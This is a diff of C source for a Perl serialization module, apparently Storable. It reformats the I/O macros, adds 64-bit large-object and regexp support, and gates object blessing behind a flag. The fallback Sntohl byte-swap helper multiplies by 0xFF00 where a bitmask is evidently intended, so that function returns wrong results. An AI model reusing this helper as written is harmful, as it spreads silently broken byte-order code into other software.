+#define W64LEN(x) WRITE_U64(x)
+#else
+#define W64LEN(x) CROAK(("no 64bit UVs"))
 #endif
+#endif
 
 #define WRITE(x,y) 							\
-  STMT_START {								\
-	if (!cxt->fio)							\
-		MBUF_WRITE(x,y);					\
-	else if (PerlIO_write(cxt->fio, x, y) != y)	\
-		return -1;							\
-  } STMT_END
+    STMT_START {							\
+        if (!cxt->fio)                                                  \
+            MBUF_WRITE(x,y);                                            \
+        else if (PerlIO_write(cxt->fio, x, y) != (SSize_t)y)            \
+            return -1;                                                  \
+    } STMT_END
 
 #define STORE_PV_LEN(pv, len, small, large)			\
-  STMT_START {							\
-	if (len <= LG_SCALAR) {				\
-		unsigned char clen = (unsigned char) len;	\
-		PUTMARK(small);					\
-		PUTMARK(clen);					\
-		if (len)						\
-			WRITE(pv, len);				\
-	} else {							\
-		PUTMARK(large);					\
-		WLEN(len);						\
-		WRITE(pv, len);					\
-	}									\
-  } STMT_END
+    STMT_START {						\
+        if (len <= LG_SCALAR) {                                 \
+            int ilen = (int) len;                               \
+            unsigned char clen = (unsigned char) len;           \
+            PUTMARK(small);                                     \
+            PUTMARK(clen);                                      \
+            if (len)                                            \
+                WRITE(pv, ilen);                                \
+        } else if (sizeof(len) > 4 && len > INT32_MAX) {        \
+            PUTMARK(SX_LOBJECT);                                \
+            PUTMARK(large);                                     \
+            W64LEN(len);                                        \
+            WRITE(pv, len);                                     \
+        } else {                                                \
+            int ilen = (int) len;                               \
+            PUTMARK(large);                                     \
+            WLEN(ilen);                                         \
+            WRITE(pv, ilen);                                    \
+        }                                                       \
+    } STMT_END
 
 #define STORE_SCALAR(pv, len)	STORE_PV_LEN(pv, len, SX_SCALAR, SX_LSCALAR)
 
@@ -945,10 +1136,10 @@
  * reasons.
  */
 #define STORE_SV_UNDEF() 					\
-  STMT_START {							\
+    STMT_START {                                                \
 	cxt->tagnum++;						\
 	PUTMARK(SX_SV_UNDEF);					\
-  } STMT_END
+    } STMT_END
 
 /*
  * Useful retrieve shortcuts...
@@ -955,69 +1146,100 @@
  */
 
 #define GETCHAR() \
-	(cxt->fio ? PerlIO_getc(cxt->fio) : (mptr >= mend ? EOF : (int) *mptr++))
+    (cxt->fio ? PerlIO_getc(cxt->fio)                   \
+              : (mptr >= mend ? EOF : (int) *mptr++))
 
-#define GETMARK(x) 								\
-  STMT_START {									\
-	if (!cxt->fio)								\
-		MBUF_GETC(x);							\
-	else if ((int) (x = PerlIO_getc(cxt->fio)) == EOF)	\
-		return (SV *) 0;						\
-  } STMT_END
+#define GETMARK(x)							\
+    STMT_START {							\
+        if (!cxt->fio)                                                  \
+            MBUF_GETC(x);                                               \
+        else if ((int) (x = PerlIO_getc(cxt->fio)) == EOF)              \
+            return (SV *) 0;                                            \
+    } STMT_END
 
-#define READ_I32(x)						\
-  STMT_START {							\
-	ASSERT(sizeof(x) == sizeof(I32), ("reading an I32"));	\
-	oC(x);								\
-	if (!cxt->fio)						\
-		MBUF_GETINT(x);					\
-	else if (PerlIO_read(cxt->fio, oI(&x), oS(sizeof(x))) != oS(sizeof(x)))	\
-		return (SV *) 0;				\
-  } STMT_END
+#define READ_I32(x)							\
+    STMT_START {							\
+        ASSERT(sizeof(x) == sizeof(I32), ("reading an I32"));           \
+        oC(x);                                                          \
+        if (!cxt->fio)                                                  \
+            MBUF_GETINT(x);                                             \
+        else if (PerlIO_read(cxt->fio, oI(&x),                          \
+                                 oS(sizeof(x))) != oS(sizeof(x)))       \
+            return (SV *) 0;                                            \
+    } STMT_END
 
 #ifdef HAS_NTOHL
-#define RLEN(x)							\
-  STMT_START {							\
-	oC(x);								\
-	if (!cxt->fio)						\
-		MBUF_GETINT(x);					\
-	else if (PerlIO_read(cxt->fio, oI(&x), oS(sizeof(x))) != oS(sizeof(x)))	\
-		return (SV *) 0;				\
-	if (cxt->netorder)					\
-		x = (int) ntohl(x);				\
-  } STMT_END
+#define RLEN(x)                                                         \
+    STMT_START {							\
+        oC(x);                                                          \
+        if (!cxt->fio)                                                  \
+            MBUF_GETINT(x);                                             \
+        else if (PerlIO_read(cxt->fio, oI(&x),                          \
+                                 oS(sizeof(x))) != oS(sizeof(x)))       \
+            return (SV *) 0;                                            \
+        if (cxt->netorder)                                              \
+            x = (int) ntohl(x);                                         \
+    } STMT_END
 #else
 #define RLEN(x) READ_I32(x)
 #endif
 
 #define READ(x,y) 							\
-  STMT_START {								\
+    STMT_START {							\
 	if (!cxt->fio)							\
-		MBUF_READ(x, y);					\
-	else if (PerlIO_read(cxt->fio, x, y) != y)	\
-		return (SV *) 0;					\
-  } STMT_END
+            MBUF_READ(x, y);                                            \
+	else if (PerlIO_read(cxt->fio, x, y) != (SSize_t)y)             \
+            return (SV *) 0;                                            \
+    } STMT_END
 
-#define SAFEREAD(x,y,z)		 					\
-  STMT_START {									\
-	if (!cxt->fio)								\
-		MBUF_SAFEREAD(x,y,z);					\
-	else if (PerlIO_read(cxt->fio, x, y) != y)	 {	\
-		sv_free(z);								\
-		return (SV *) 0;						\
-	}											\
-  } STMT_END
+#define SAFEREAD(x,y,z)                                                 \
+    STMT_START {							\
+        if (!cxt->fio)                                                  \
+            MBUF_SAFEREAD(x,y,z);                                       \
+        else if (PerlIO_read(cxt->fio, x, y) != (SSize_t)y) {           \
+            sv_free(z);                                                 \
+            return (SV *) 0;                                            \
+        }                                                               \
+    } STMT_END
 
 #define SAFEPVREAD(x,y,z)					\
-  STMT_START {							\
-	if (!cxt->fio)						\
-		MBUF_SAFEPVREAD(x,y,z);				\
-	else if (PerlIO_read(cxt->fio, x, y) != y)	 {	\
-		Safefree(z);					\
-		return (SV *) 0;				\
-	}							\
-  } STMT_END
+    STMT_START {						\
+        if (!cxt->fio)                                          \
+            MBUF_SAFEPVREAD(x,y,z);                             \
+        else if (PerlIO_read(cxt->fio, x, y) != y) {            \
+            Safefree(z);                                        \
+            return (SV *) 0;                                    \
+        }                                                       \
+    } STMT_END
 
+#ifdef HAS_U64
+
+#  if defined(HAS_NTOHL)
+#    define Sntohl(x) ntohl(x)
+#  elif BYTEORDER == 0x87654321 || BYTEORDER == 0x4321
+#    define Sntohl(x) (x)
+#  else
+static U32 Sntohl(U32 x) {
+    return ((x & 0xFF) << 24) + ((x * 0xFF00) << 8)
+	+ ((x & 0xFF0000) >> 8) + ((x & 0xFF000000) >> 24);
+}
+#  endif
+
+#  define READ_U64(x)                                                       \
+    STMT_START {                                                          \
+	ASSERT(sizeof(x) == 8, ("R64LEN reading a U64"));                 \
+	if (cxt->netorder) {                                              \
+	    U32 buf[2];                                                   \
+	    READ((void *)buf, sizeof(buf));                               \
+	    (x) = ((UV)Sntohl(buf[0]) << 32) + Sntohl(buf[1]);		\
+	}                                                                 \
+	else {                                                            \
+	    READ(&(x), sizeof(x));                                        \
+	}                                                                 \
+    } STMT_END
+
+#endif
+
 /*
  * SEEN() is used at retrieve time, to remember where object 'y', bearing a
  * given tag 'tagnum', has been retrieved. Next time we see an SX_OBJECT marker,
@@ -1042,33 +1264,35 @@
  *
  * The _NN variants dont check for y being null
  */
-#define SEEN0_NN(y,i)						        \
+#define SEEN0_NN(y,i)							\
     STMT_START {							\
-	if (av_store(cxt->aseen, cxt->tagnum++, i ? (SV*)(y) : SvREFCNT_inc(y)) == 0) \
-		return (SV *) 0;					\
-	TRACEME(("aseen(#%d) = 0x%" UVxf " (refcnt=%d)", cxt->tagnum-1, \
-		 PTR2UV(y), SvREFCNT(y)-1));		                \
+        if (av_store(cxt->aseen, cxt->tagnum++, i ? (SV*)(y)            \
+                     : SvREFCNT_inc(y)) == 0)                           \
+            return (SV *) 0;                                            \
+        TRACEME(("aseen(#%d) = 0x%" UVxf " (refcnt=%d)",                \
+                 (int)cxt->tagnum-1,                                    \
+                 PTR2UV(y), (int)SvREFCNT(y)-1));                       \
     } STMT_END
 
-#define SEEN0(y,i)						        \
+#define SEEN0(y,i)							\
     STMT_START {							\
-	if (!y)								\
-		return (SV *) 0;					\
-        SEEN0_NN(y,i)						        \
+        if (!y)                                                         \
+            return (SV *) 0;                                            \
+        SEEN0_NN(y,i);                                                  \
     } STMT_END
 
-#define SEEN_NN(y,stash,i)					        \
+#define SEEN_NN(y,stash,i)						\
     STMT_START {							\
-        SEEN0_NN(y,i);						        \
-	if (stash)							\
-		BLESS((SV *) (y), (HV *)(stash));			\
+        SEEN0_NN(y,i);                                                  \
+        if (stash)							\
+            BLESS((SV *)(y), (HV *)(stash));                            \
     } STMT_END
 
-#define SEEN(y,stash,i)						        \
-    STMT_START {							\
-	if (!y)								\
-	    return (SV *) 0;					        \
-        SEEN_NN(y,stash, i);					        \
+#define SEEN(y,stash,i)							\
+    STMT_START {                                                	\
+        if (!y)                                                         \
+            return (SV *) 0;                                            \
+        SEEN_NN(y,stash, i);                                            \
     } STMT_END
 
 /*
@@ -1076,20 +1300,26 @@
  * "A" magic is added before the sv_bless for overloaded classes, this avoids
  * an expensive call to S_reset_amagic in sv_bless.
  */
-#define BLESS(s,stash) 						\
-  STMT_START {								\
-	SV *ref;								\
-	TRACEME(("blessing 0x%" UVxf " in %s", PTR2UV(s), (HvNAME_get(stash))));\
-	ref = newRV_noinc(s);					\
-	if (cxt->in_retrieve_overloaded && Gv_AMG(stash)) \
-	{ \
-	    cxt->in_retrieve_overloaded = 0; \
-		SvAMAGIC_on(ref);                            \
-	} \
-	(void) sv_bless(ref, stash);			\
-	SvRV_set(ref, NULL);						\
-	SvREFCNT_dec(ref);						\
-  } STMT_END
+#define BLESS(s,stash)							\
+    STMT_START {							\
+        SV *ref;                                                        \
+        if (cxt->flags & FLAG_BLESS_OK) {                               \
+            TRACEME(("blessing 0x%" UVxf " in %s", PTR2UV(s),           \
+                     HvNAME_get(stash)));                               \
+            ref = newRV_noinc(s);                                       \
+            if (cxt->in_retrieve_overloaded && Gv_AMG(stash)) {         \
+                cxt->in_retrieve_overloaded = 0;                        \
+                SvAMAGIC_on(ref);                                       \
+            }                                                           \
+            (void) sv_bless(ref, stash);                                \
+            SvRV_set(ref, NULL);                                        \
+            SvREFCNT_dec(ref);                                          \
+        }                                                               \
+        else {                                                          \
+            TRACEME(("not blessing 0x%" UVxf " in %s", PTR2UV(s),       \
+                     (HvNAME_get(stash))));                             \
+        }                                                               \
+    } STMT_END
 /*
  * sort (used in store_hash) - conditionally use qsort when
  * sortsv is not available ( <= 5.6.1 ).
@@ -1099,18 +1329,18 @@
 
 #if defined(USE_ITHREADS)
 
-#define STORE_HASH_SORT \
-        ENTER; { \
-        PerlInterpreter *orig_perl = PERL_GET_CONTEXT; \
-        SAVESPTR(orig_perl); \
-        PERL_SET_CONTEXT(aTHX); \
-        qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp); \
-        } LEAVE;
+#define STORE_HASH_SORT						\
+    ENTER; {                                                    \
+        PerlInterpreter *orig_perl = PERL_GET_CONTEXT;          \
+        SAVESPTR(orig_perl);                                    \
+        PERL_SET_CONTEXT(aTHX);                                 \
+        qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp);\
+    } LEAVE;
 
 #else /* ! USE_ITHREADS */
 
-#define STORE_HASH_SORT \
-        qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp);
+#define STORE_HASH_SORT					\
+    qsort((char *) AvARRAY(av), len, sizeof(SV *), sortcmp);
 
 #endif  /* USE_ITHREADS */
 
@@ -1117,7 +1347,7 @@
 #else /* PATCHLEVEL > 6 */
 
 #define STORE_HASH_SORT \
-        sortsv(AvARRAY(av), len, Perl_sv_cmp);  
+    sortsv(AvARRAY(av), len, Perl_sv_cmp);
 
 #endif /* PATCHLEVEL <= 6 */
 
@@ -1124,11 +1354,11 @@
 static int store(pTHX_ stcxt_t *cxt, SV *sv);
 static SV *retrieve(pTHX_ stcxt_t *cxt, const char *cname);
 
-#define UNSEE()                             \
-  STMT_START {                              \
-    av_pop(cxt->aseen);                     \
-    cxt->tagnum--;                          \
-  } STMT_END
+#define UNSEE()			\
+    STMT_START {			\
+        av_pop(cxt->aseen);             \
+        cxt->tagnum--;                  \
+    } STMT_END
 
 /*
  * Dynamic dispatching table for SV store.
@@ -1141,6 +1371,7 @@
 static int store_tied(pTHX_ stcxt_t *cxt, SV *sv);
 static int store_tied_item(pTHX_ stcxt_t *cxt, SV *sv);
 static int store_code(pTHX_ stcxt_t *cxt, CV *cv);
+static int store_regexp(pTHX_ stcxt_t *cxt, SV *sv);
 static int store_other(pTHX_ stcxt_t *cxt, SV *sv);
 static int store_blessed(pTHX_ stcxt_t *cxt, SV *sv, int type, HV *pkg);
 
@@ -1147,14 +1378,15 @@
 typedef int (*sv_store_t)(pTHX_ stcxt_t *cxt, SV *sv);
 
 static const sv_store_t sv_store[] = {
-	(sv_store_t)store_ref,		/* svis_REF */
-	(sv_store_t)store_scalar,	/* svis_SCALAR */
-	(sv_store_t)store_array,	/* svis_ARRAY */
-	(sv_store_t)store_hash,		/* svis_HASH */
-	(sv_store_t)store_tied,		/* svis_TIED */
-	(sv_store_t)store_tied_item,	/* svis_TIED_ITEM */
-	(sv_store_t)store_code,		/* svis_CODE */
-	(sv_store_t)store_other,	/* svis_OTHER */
+    (sv_store_t)store_ref,	/* svis_REF */
+    (sv_store_t)store_scalar,	/* svis_SCALAR */
+    (sv_store_t)store_array,	/* svis_ARRAY */
+    (sv_store_t)store_hash,	/* svis_HASH */
+    (sv_store_t)store_tied,	/* svis_TIED */
+    (sv_store_t)store_tied_item,/* svis_TIED_ITEM */
+    (sv_store_t)store_code,	/* svis_CODE */
+    (sv_store_t)store_regexp,	/* svis_REGEXP */
+    (sv_store_t)store_other,	/* svis_OTHER */
 };
 
 #define SV_STORE(x)	(*sv_store[x])
@@ -1179,45 +1411,61 @@
 static SV *retrieve_tied_hash(pTHX_ stcxt_t *cxt, const char *cname);
 static SV *retrieve_tied_scalar(pTHX_ stcxt_t *cxt, const char *cname);
 static SV *retrieve_other(pTHX_ stcxt_t *cxt, const char *cname);
+static SV *retrieve_lobject(pTHX_ stcxt_t *cxt, const char *cname);
+static SV *retrieve_regexp(pTHX_ stcxt_t *cxt, const char *cname);
 
+/* helpers for U64 lobjects */
+
+static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname);
+#ifdef HAS_U64
+static SV *get_larray(pTHX_ stcxt_t *cxt, UV len, const char *cname);
+static SV *get_lhash(pTHX_ stcxt_t *cxt, UV len, int hash_flags, const char *cname);
+static int store_lhash(pTHX_ stcxt_t *cxt, HV *hv, unsigned char hash_flags);
+#endif
+static int store_hentry(pTHX_ stcxt_t *cxt, HV* hv, UV i, HE *he, unsigned char hash_flags);
+
 typedef SV* (*sv_retrieve_t)(pTHX_ stcxt_t *cxt, const char *name);
 
 static const sv_retrieve_t sv_old_retrieve[] = {
-	0,			/* SX_OBJECT -- entry unused dynamically */
-	(sv_retrieve_t)retrieve_lscalar,	/* SX_LSCALAR */
-	(sv_retrieve_t)old_retrieve_array,	/* SX_ARRAY -- for pre-0.6 binaries */
-	(sv_retrieve_t)old_retrieve_hash,	/* SX_HASH -- for pre-0.6 binaries */
-	(sv_retrieve_t)retrieve_ref,		/* SX_REF */
-	(sv_retrieve_t)retrieve_undef,		/* SX_UNDEF */
-	(sv_retrieve_t)retrieve_integer,	/* SX_INTEGER */
-	(sv_retrieve_t)retrieve_double,		/* SX_DOUBLE */
-	(sv_retrieve_t)retrieve_byte,		/* SX_BYTE */
-	(sv_retrieve_t)retrieve_netint,		/* SX_NETINT */
-	(sv_retrieve_t)retrieve_scalar,		/* SX_SCALAR */
-	(sv_retrieve_t)retrieve_tied_array,	/* SX_TIED_ARRAY */
-	(sv_retrieve_t)retrieve_tied_hash,	/* SX_TIED_HASH */
-	(sv_retrieve_t)retrieve_tied_scalar,	/* SX_TIED_SCALAR */
-	(sv_retrieve_t)retrieve_other,	/* SX_SV_UNDEF not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_SV_YES not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_SV_NO not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_BLESS not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_IX_BLESS not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_HOOK not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_OVERLOADED not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_TIED_KEY not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_TIED_IDX not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_UTF8STR not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_LUTF8STR not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_FLAG_HASH not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_CODE not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_WEAKREF not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_WEAKOVERLOAD not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_VSTRING not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_LVSTRING not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_SVUNDEF_ELEM not supported */
-	(sv_retrieve_t)retrieve_other,	/* SX_ERROR */
+    0,					/* SX_OBJECT -- entry unused dynamically */
+    (sv_retrieve_t)retrieve_lscalar,	/* SX_LSCALAR */
+    (sv_retrieve_t)old_retrieve_array,	/* SX_ARRAY -- for pre-0.6 binaries */
+    (sv_retrieve_t)old_retrieve_hash,	/* SX_HASH -- for pre-0.6 binaries */
+    (sv_retrieve_t)retrieve_ref,	/* SX_REF */
+    (sv_retrieve_t)retrieve_undef,	/* SX_UNDEF */
+    (sv_retrieve_t)retrieve_integer,	/* SX_INTEGER */
+    (sv_retrieve_t)retrieve_double,	/* SX_DOUBLE */
+    (sv_retrieve_t)retrieve_byte,	/* SX_BYTE */
+    (sv_retrieve_t)retrieve_netint,	/* SX_NETINT */
+    (sv_retrieve_t)retrieve_scalar,	/* SX_SCALAR */
+    (sv_retrieve_t)retrieve_tied_array,	/* SX_TIED_ARRAY */
+    (sv_retrieve_t)retrieve_tied_hash,	/* SX_TIED_HASH */
+    (sv_retrieve_t)retrieve_tied_scalar,/* SX_TIED_SCALAR */
+    (sv_retrieve_t)retrieve_other,	/* SX_SV_UNDEF not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_SV_YES not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_SV_NO not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_BLESS not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_IX_BLESS not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_HOOK not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_OVERLOADED not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_TIED_KEY not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_TIED_IDX not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_UTF8STR not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_LUTF8STR not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_FLAG_HASH not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_CODE not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_WEAKREF not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_WEAKOVERLOAD not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_VSTRING not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_LVSTRING not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_SVUNDEF_ELEM not supported */
+    (sv_retrieve_t)retrieve_other,	/* SX_REGEXP */
+    (sv_retrieve_t)retrieve_other,  	/* SX_LOBJECT not supported */
+    (sv_retrieve_t)retrieve_other,  	/* SX_LAST */
 };
 
+static SV *retrieve_hook_common(pTHX_ stcxt_t *cxt, const char *cname, int large);
+
 static SV *retrieve_array(pTHX_ stcxt_t *cxt, const char *cname);
 static SV *retrieve_hash(pTHX_ stcxt_t *cxt, const char *cname);
 static SV *retrieve_sv_undef(pTHX_ stcxt_t *cxt, const char *cname);
@@ -1238,42 +1486,44 @@
 static SV *retrieve_svundef_elem(pTHX_ stcxt_t *cxt, const char *cname);
 
 static const sv_retrieve_t sv_retrieve[] = {
-	0,			/* SX_OBJECT -- entry unused dynamically */
-	(sv_retrieve_t)retrieve_lscalar,	/* SX_LSCALAR */
-	(sv_retrieve_t)retrieve_array,		/* SX_ARRAY */
-	(sv_retrieve_t)retrieve_hash,		/* SX_HASH */
-	(sv_retrieve_t)retrieve_ref,		/* SX_REF */
-	(sv_retrieve_t)retrieve_undef,		/* SX_UNDEF */
-	(sv_retrieve_t)retrieve_integer,	/* SX_INTEGER */
-	(sv_retrieve_t)retrieve_double,		/* SX_DOUBLE */
-	(sv_retrieve_t)retrieve_byte,		/* SX_BYTE */
-	(sv_retrieve_t)retrieve_netint,		/* SX_NETINT */
-	(sv_retrieve_t)retrieve_scalar,		/* SX_SCALAR */
-	(sv_retrieve_t)retrieve_tied_array,	/* SX_TIED_ARRAY */
-	(sv_retrieve_t)retrieve_tied_hash,	/* SX_TIED_HASH */
-	(sv_retrieve_t)retrieve_tied_scalar,	/* SX_TIED_SCALAR */
-	(sv_retrieve_t)retrieve_sv_undef,	/* SX_SV_UNDEF */
-	(sv_retrieve_t)retrieve_sv_yes,		/* SX_SV_YES */
-	(sv_retrieve_t)retrieve_sv_no,		/* SX_SV_NO */
-	(sv_retrieve_t)retrieve_blessed,	/* SX_BLESS */
-	(sv_retrieve_t)retrieve_idx_blessed,	/* SX_IX_BLESS */
-	(sv_retrieve_t)retrieve_hook,		/* SX_HOOK */
-	(sv_retrieve_t)retrieve_overloaded,	/* SX_OVERLOAD */
-	(sv_retrieve_t)retrieve_tied_key,	/* SX_TIED_KEY */
-	(sv_retrieve_t)retrieve_tied_idx,	/* SX_TIED_IDX */
-	(sv_retrieve_t)retrieve_utf8str,	/* SX_UTF8STR  */
-	(sv_retrieve_t)retrieve_lutf8str,	/* SX_LUTF8STR */
-	(sv_retrieve_t)retrieve_flag_hash,	/* SX_HASH */
-	(sv_retrieve_t)retrieve_code,		/* SX_CODE */
-	(sv_retrieve_t)retrieve_weakref,	/* SX_WEAKREF */
-	(sv_retrieve_t)retrieve_weakoverloaded,	/* SX_WEAKOVERLOAD */
-	(sv_retrieve_t)retrieve_vstring,	/* SX_VSTRING */
-	(sv_retrieve_t)retrieve_lvstring,	/* SX_LVSTRING */
-	(sv_retrieve_t)retrieve_svundef_elem,	/* SX_SVUNDEF_ELEM */
-	(sv_retrieve_t)retrieve_other,		/* SX_ERROR */
+    0,					/* SX_OBJECT -- entry unused dynamically */
+    (sv_retrieve_t)retrieve_lscalar,	/* SX_LSCALAR */
+    (sv_retrieve_t)retrieve_array,	/* SX_ARRAY */
+    (sv_retrieve_t)retrieve_hash,	/* SX_HASH */
+    (sv_retrieve_t)retrieve_ref,	/* SX_REF */
+    (sv_retrieve_t)retrieve_undef,	/* SX_UNDEF */
+    (sv_retrieve_t)retrieve_integer,	/* SX_INTEGER */
+    (sv_retrieve_t)retrieve_double,	/* SX_DOUBLE */
+    (sv_retrieve_t)retrieve_byte,	/* SX_BYTE */
+    (sv_retrieve_t)retrieve_netint,	/* SX_NETINT */
+    (sv_retrieve_t)retrieve_scalar,	/* SX_SCALAR */
+    (sv_retrieve_t)retrieve_tied_array,	/* SX_TIED_ARRAY */
+    (sv_retrieve_t)retrieve_tied_hash,	/* SX_TIED_HASH */
+    (sv_retrieve_t)retrieve_tied_scalar,/* SX_TIED_SCALAR */
+    (sv_retrieve_t)retrieve_sv_undef,	/* SX_SV_UNDEF */
+    (sv_retrieve_t)retrieve_sv_yes,	/* SX_SV_YES */
+    (sv_retrieve_t)retrieve_sv_no,	/* SX_SV_NO */
+    (sv_retrieve_t)retrieve_blessed,	/* SX_BLESS */
+    (sv_retrieve_t)retrieve_idx_blessed,/* SX_IX_BLESS */
+    (sv_retrieve_t)retrieve_hook,	/* SX_HOOK */
+    (sv_retrieve_t)retrieve_overloaded,	/* SX_OVERLOAD */
+    (sv_retrieve_t)retrieve_tied_key,	/* SX_TIED_KEY */
+    (sv_retrieve_t)retrieve_tied_idx,	/* SX_TIED_IDX */
+    (sv_retrieve_t)retrieve_utf8str,	/* SX_UTF8STR  */
+    (sv_retrieve_t)retrieve_lutf8str,	/* SX_LUTF8STR */
+    (sv_retrieve_t)retrieve_flag_hash,	/* SX_HASH */
+    (sv_retrieve_t)retrieve_code,	/* SX_CODE */
+    (sv_retrieve_t)retrieve_weakref,	/* SX_WEAKREF */
+    (sv_retrieve_t)retrieve_weakoverloaded,/* SX_WEAKOVERLOAD */
+    (sv_retrieve_t)retrieve_vstring,	/* SX_VSTRING */
+    (sv_retrieve_t)retrieve_lvstring,	/* SX_LVSTRING */
+    (sv_retrieve_t)retrieve_svundef_elem,/* SX_SVUNDEF_ELEM */
+    (sv_retrieve_t)retrieve_regexp,	/* SX_REGEXP */
+    (sv_retrieve_t)retrieve_lobject,	/* SX_LOBJECT */
+    (sv_retrieve_t)retrieve_other,  	/* SX_LAST */
 };
 
-#define RETRIEVE(c,x) (*(c)->retrieve_vtbl[(x) >= SX_ERROR ? SX_ERROR : (x)])
+#define RETRIEVE(c,x) ((x) >= SX_LAST ? retrieve_other : *(c)->retrieve_vtbl[x])
 
 static SV *mbuf2sv(pTHX);
 
@@ -1289,7 +1539,7 @@
 static void init_perinterp(pTHX)
 {
     INIT_STCXT;
-
+    INIT_TRACEME;
     cxt->netorder = 0;		/* true if network order used */
     cxt->forgive_me = -1;	/* whether to be forgiving... */
     cxt->accept_future_minor = -1; /* would otherwise occur too late */
@@ -1303,9 +1553,11 @@
  */
 static void reset_context(stcxt_t *cxt)
 {
-	cxt->entry = 0;
-	cxt->s_dirty = 0;
-	cxt->optype &= ~(ST_STORE|ST_RETRIEVE);		/* Leave ST_CLONE alone */
+    cxt->entry = 0;
+    cxt->s_dirty = 0;
+    cxt->recur_sv = NULL;
+    cxt->recur_depth = 0;
+    cxt->optype &= ~(ST_STORE|ST_RETRIEVE);	/* Leave ST_CLONE alone */
 }
 
 /*
@@ -1313,101 +1565,105 @@
  *
  * Initialize a new store context for real recursion.
  */
-static void init_store_context(
-        pTHX_
+static void init_store_context(pTHX_
 	stcxt_t *cxt,
-	PerlIO *f,
-	int optype,
-	int network_order)
+        PerlIO *f,
+        int optype,
+        int network_order)
 {
-	TRACEME(("init_store_context"));
+    INIT_TRACEME;
 
-	cxt->netorder = network_order;
-	cxt->forgive_me = -1;			/* Fetched from perl if needed */
-	cxt->deparse = -1;				/* Idem */
-	cxt->eval = NULL;				/* Idem */
-	cxt->canonical = -1;			/* Idem */
-	cxt->tagnum = -1;				/* Reset tag numbers */
-	cxt->classnum = -1;				/* Reset class numbers */
-	cxt->fio = f;					/* Where I/O are performed */
-	cxt->optype = optype;			/* A store, or a deep clone */
-	cxt->entry = 1;					/* No recursion yet */
+    TRACEME(("init_store_context"));
 
-	/*
-	 * The 'hseen' table is used to keep track of each SV stored and their
-	 * associated tag numbers is special. It is "abused" because the
-	 * values stored are not real SV, just integers cast to (SV *),
-	 * which explains the freeing below.
-	 *
-	 * It is also one possible bottleneck to achieve good storing speed,
-	 * so the "shared keys" optimization is turned off (unlikely to be
-	 * of any use here), and the hash table is "pre-extended". Together,
-	 * those optimizations increase the throughput by 12%.
-	 */
+    cxt->netorder = network_order;
+    cxt->forgive_me = -1;		/* Fetched from perl if needed */
+    cxt->deparse = -1;			/* Idem */
+    cxt->eval = NULL;			/* Idem */
+    cxt->canonical = -1;		/* Idem */
+    cxt->tagnum = -1;			/* Reset tag numbers */
+    cxt->classnum = -1;			/* Reset class numbers */
+    cxt->fio = f;			/* Where I/O are performed */
+    cxt->optype = optype;		/* A store, or a deep clone */
+    cxt->entry = 1;			/* No recursion yet */
 
+    /*
+     * The 'hseen' table is used to keep track of each SV stored and their
+     * associated tag numbers is special. It is "abused" because the
+     * values stored are not real SV, just integers cast to (SV *),
+     * which explains the freeing below.
+     *
+     * It is also one possible bottleneck to achieve good storing speed,
+     * so the "shared keys" optimization is turned off (unlikely to be
+     * of any use here), and the hash table is "pre-extended". Together,
+     * those optimizations increase the throughput by 12%.
+     */
+
 #ifdef USE_PTR_TABLE
-	cxt->pseen = ptr_table_new();
-	cxt->hseen = 0;
+    cxt->pseen = ptr_table_new();
+    cxt->hseen = 0;
 #else
-	cxt->hseen = newHV();			/* Table where seen objects are stored */
-	HvSHAREKEYS_off(cxt->hseen);
+    cxt->hseen = newHV();	/* Table where seen objects are stored */
+    HvSHAREKEYS_off(cxt->hseen);
 #endif
-	/*
-	 * The following does not work well with perl5.004_04, and causes
-	 * a core dump later on, in a completely unrelated spot, which
-	 * makes me think there is a memory corruption going on.
-	 *
-	 * Calling hv_ksplit(hseen, HBUCKETS) instead of manually hacking
-	 * it below does not make any difference. It seems to work fine
-	 * with perl5.004_68 but given the probable nature of the bug,
-	 * that does not prove anything.
-	 *
-	 * It's a shame because increasing the amount of buckets raises
-	 * store() throughput by 5%, but until I figure this out, I can't
-	 * allow for this to go into production.
-	 *
-	 * It is reported fixed in 5.005, hence the #if.
-	 */
+    /*
+     * The following does not work well with perl5.004_04, and causes
+     * a core dump later on, in a completely unrelated spot, which
+     * makes me think there is a memory corruption going on.
+     *
+     * Calling hv_ksplit(hseen, HBUCKETS) instead of manually hacking
+     * it below does not make any difference. It seems to work fine
+     * with perl5.004_68 but given the probable nature of the bug,
+     * that does not prove anything.
+     *
+     * It's a shame because increasing the amount of buckets raises
+     * store() throughput by 5%, but until I figure this out, I can't
+     * allow for this to go into production.
+     *
+     * It is reported fixed in 5.005, hence the #if.
+     */
 #if PERL_VERSION >= 5
